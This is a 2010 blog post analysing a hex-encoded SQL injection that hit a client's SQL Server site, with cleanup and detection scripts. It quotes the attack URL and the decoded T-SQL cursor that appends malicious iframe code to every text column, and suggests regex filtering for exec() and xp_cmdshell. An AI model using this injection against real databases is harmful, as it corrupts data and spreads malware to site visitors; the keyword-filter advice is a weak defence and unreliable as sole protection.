N2

Meh

Archive for the ‘database’ tag

Binary encoded SQL injection

with 2 comments

The Attack

Recently one of my clients website came under attack. The method used by the attacker was to use binary encoded sql in the query string and/or form data and then inject it into the database. I do have basic validations set up to sanitize my inputs but this time the sql injection was successful. How this happened, I’ll detail in the part where I talk about how to prevent it, but first lets see what it is and what kind of damage it does and more importantly how to fix the damage.

The attacker used the following url.

site.domain/some_page.php?id=12&notes=test;DeCLaRe @s VarChaR(4000);sET @S=cASt(0x6445....43220 as vArChAR(4000));EXec(@S);--

The url is sending two variables to the server, id and notes. The attacker appended some data to the end of the string to make it look like part of the notes value. I’ve trimmed the binary part to prevent text overflow. Why choose “notes”? because the notes field in a form would usually allow a large text value.

So what does this mean?

DeCLaRe @s VarChaR(4000);
sET @S=cASt(0x6445436C617265204054205..........437572736F5220 as vArChAR(4000));
EXec(@S);--

This is an SQL statement encoded in binary. This can very well execute on the database and manipulate/damage your data. TSQL statements can be seperated by a semi colon. In plain english it is declaring a variable, assigning a value to it and then executing the code contained in that variable. So what exactly is executed? Converting the binary to varchar reveals the following tsql statement

dEClare
 @T VarcHaR(255),
 @c varchaR(255) 

dECLaRE tABlE_CuRsOr CurSOr foR
 SeLecT
  A.NAME,B.nAmE
 fROm
  sYsobJEcTs A,
  sysCoLUMns B
 Where
  a.Id=b.Id
  aND a.XType='u'
  aNd (B.xTyPE=99 oR B.xTypE=35 Or B.XTypE=231 oR b.XtYPE=167) 

oPEN tAbLe_cUrsOR
feTch NeXt from taBLE_cUrsor IntO @T,@C 

wHILe(@@fetCh_sTATuS=0)
 BeGin
  ExEc('UPDATe ['+@T+'] set ['+@C+']=
     rtrIM(COnvERT(varChaR(4000),['+@c+']))
     + ') fETcH nEXt fROM tAblE_Cursor INTO @t,@C eNd cLoSE tABlE_CUrsOr DEaLLOCaTE TaBLe_CursoR

This script is designed to loop through ALL your tables and update EACH column that  can take a text value and append this code to each row of data in your database. That, if successful, could be pretty nasty. This would create a hidden iframe in each page of your site and execute malicious code, while the user thinks he/she are using a legitimate website or blog. The URL in the src attribute of the iframe maybe different in your case. I have found that it changes every few hours, but most of the sites are either .ru or .cn domains.

Just searching for this malicious code in google reveals that there are thousands sites currently affected by this.

How to clean infected database

If you own or maintain a site that is affected by this malware, you will have to clean up your data. The easiest way is by restoring a recent backup of your clean database. However this option may not be viable unless you are willing to loose some data.

Another way is to scan your tables and run sql updates to remove the iframe code from your tables. A simple update statement should be enough to clean the entire table. As usual do take a backup of your database before proceeding with anything that updates all your tables.

UPDATE
 affected_table
SET
 affected_col = REPLACE( affected_col, 'malicious_code', '' )
WHERE
 affected_col like '%malicious_code'

To find out which tables are affected by this malware you may use the following script. It would give you a list of all the table names, column names and affected rows from your database that have an <iframe> tag in the cell value. If your application saved HTML content to databases, you might have to tweak the where clause to avoid triggering any false alarms.

declare @res table(Tab varchar(500), Col varchar(500), [Count] bigint )
declare @tab varchar(500), @col varchar(500) , @sql varchar(1024)

declare c cursor for
 select
  o.name , c.name
 from
   sys.objects  o
   inner join sys.columns c on o.object_id=c.object_id
   inner join sys.types t on c.system_type_id = t.system_type_id
 where
  o.type='U'
  and t.name in ('nvarchar','varchar','text')

open c
fetch next from c into @tab, @col
while @@fetch_status=0
 begin
  set @sql='select '''+@tab+''' Tab, '''+@col+''' Col,  count(1) Count from ['+@tab+'] where lower(['+@col+']) like ''%iframe%'' '
  insert into @res exec(@sql)
  fetch next from c into @tab, @col
 end
close c
deallocate c

select
 *
from
 @res
where
 [count]>0
order by 1,2

How to prevent binary sql injection

Checks for normal sql injection require you to sanitize inputs that are trying to insert text sql statements into your code, binary sql injection, using these checks still passes through. To check for  binary sql injection, use regular expression to look for functions like exec(), sp_execute(), xp_cmdshell().

This article deals with a Microsoft SQL Server 2008 installation however with minor changes it can also be used against other databases as well.

Written by Singh

August 11th, 2010 at 11:38 am